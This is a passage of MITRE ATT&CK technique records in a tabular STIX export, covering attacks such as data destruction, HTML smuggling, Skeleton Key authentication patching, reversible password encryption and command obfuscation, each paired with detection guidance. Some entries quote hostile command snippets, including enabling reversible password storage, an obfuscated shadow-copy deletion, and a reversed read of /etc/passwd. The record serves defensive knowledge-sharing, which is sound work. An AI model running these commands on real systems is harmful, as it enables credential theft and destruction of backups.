Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Consider monitoring file reads to Vault locations, <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2023-03-30T21:01:40.332000Z" | Hardware Additions | Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.
While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
] | false | [
{
"description": null,
"external_id": "T1200",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1200"
},
{
"description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
"external_id": null,
"source_name": "Ossmann Star Feb 2011",
"url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"
},
{
"description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
"external_id": null,
"source_name": "Aleks Weapons Nov 2015",
"url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ"
},
{
"description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
"external_id": null,
"source_name": "McMillan Pwn March 2012",
"url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
},
{
"description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
"external_id": null,
"source_name": "Frisk DMA August 2016",
"url": "https://www.youtube.com/watch?v=fXthwl6ShOg"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Asset management systems may help with the detection of computer systems or network devices that should not exist on a network.
Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.6 |
attack-pattern | attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-06-28T17:52:07.296000Z" | "2022-10-19T21:18:29.349000Z" | Server Software Component | Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1505",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505"
},
{
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"external_id": null,
"source_name": "volexity_0day_sophos_FW",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
"external_id": null,
"source_name": "US-CERT Alert TA15-314A Web Shells",
"url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.
Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS",
"Network"
] | 1.4 |
attack-pattern | attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-03-14T18:47:17.701000Z" | "2023-10-03T17:30:32.192000Z" | Data Destruction | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1485",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1485"
},
{
"description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.",
"external_id": null,
"source_name": "DOJ - Cisco Insider",
"url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
},
{
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Shamoon3 2018",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "Palo Alto Shamoon Nov 2016",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "FireEye Shamoon Nov 2016",
"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Kaspersky StoneDrill 2017",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Talos Olympic Destroyer 2018",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
"external_id": null,
"source_name": "Data Destruction - Threat Post",
"url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
},
{
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Symantec Shamoon 2012",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.
In cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-14T23:39:50.117000Z" | "2020-03-14T23:39:50.117000Z" | Non-Standard Encoding | Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1132.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132/002"
},
{
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Binary-to-text Encoding",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Character Encoding",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T19:05:02.399000Z" | "2021-04-20T20:10:26.613000Z" | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.
Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/001"
},
{
"description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
"external_id": null,
"source_name": "Dell Skeleton",
"url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
},
{
"description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
"external_id": null,
"source_name": "TechNet Audit Policy",
"url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-08-30T13:03:04.038000Z" | "2024-04-11T15:53:00.577000Z" | Transfer Data to Cloud Account | Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.
A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)
Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)
Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1537",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1537"
},
{
"description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.",
"external_id": null,
"source_name": "AWS EBS Snapshot Sharing",
"url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"
},
{
"description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.",
"external_id": null,
"source_name": "TLDRSec AWS Attacks",
"url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks"
},
{
"description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.",
"external_id": null,
"source_name": "Azure Shared Access Signature",
"url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"
},
{
"description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.",
"external_id": null,
"source_name": "Azure Blob Snapshots",
"url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"
},
{
"description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.",
"external_id": null,
"source_name": "Microsoft Azure Storage Shared Access Signature",
"url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"
},
{
"description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
"external_id": null,
"source_name": "DOJ GRU Indictment Jul 2018",
"url": "https://www.justice.gov/file/1080281/download"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs.
In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS",
"SaaS",
"Google Workspace",
"Office 365"
] | 1.4 |
attack-pattern | attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-05-20T12:20:42.219000Z" | "2023-07-14T14:01:41.475000Z" | HTML Smuggling | Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.
For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/006"
},
{
"description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.",
"external_id": null,
"source_name": "Outlflank HTML Smuggling 2018",
"url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"
},
{
"description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
"external_id": null,
"source_name": "MSTIC NOBELIUM May 2021",
"url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
},
{
"description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.",
"external_id": null,
"source_name": "HTML Smuggling Menlo Security 2020",
"url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"
},
{
"description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.",
"external_id": null,
"source_name": "nccgroup Smuggling HTA 2017",
"url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.
Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-01-13T20:02:28.349000Z" | "2022-02-10T21:35:25.377000Z" | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/005"
},
{
"description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
"external_id": null,
"source_name": "store_pwd_rev_enc",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
},
{
"description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
"external_id": null,
"source_name": "how_pwd_rev_enc_1",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
},
{
"description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
"external_id": null,
"source_name": "how_pwd_rev_enc_2",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
},
{
"description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
"external_id": null,
"source_name": "dump_pwd_dcsync",
"url": "https://adsecurity.org/?p=2053"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor property changes in Group Policy: <code>Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\Store passwords using reversible encryption</code>. By default, the property should be set to Disabled.
Monitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations.
Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-14T17:36:01.022000Z" | "2023-03-24T15:01:21.117000Z" | Command Obfuscation | Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)
For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)
Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)
Tools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.010",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/010"
},
{
"description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023.",
"external_id": null,
"source_name": "Twitter Richard WMIC",
"url": "https://twitter.com/rfackroyd/status/1639136000755765254"
},
{
"description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Invoke-Obfuscation",
"url": "https://github.com/danielbohannon/Invoke-Obfuscation"
},
{
"description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Invoke-DOSfuscation",
"url": "https://github.com/danielbohannon/Invoke-DOSfuscation"
},
{
"description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
"external_id": null,
"source_name": "FireEye Obfuscation June 2017",
"url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
},
{
"description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Malware Monday VBE",
"url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"
},
{
"description": "Katz, O. (2020, October 26). Catch Me if You Can—JavaScript Obfuscation. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Akamai JS",
"url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"
},
{
"description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Bashfuscator Command Obfuscators",
"url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"
},
{
"description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Microsoft PowerShellB64",
"url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"
},
{
"description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "RC PowerShell",
"url": "https://redcanary.com/threat-detection-report/techniques/powershell/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
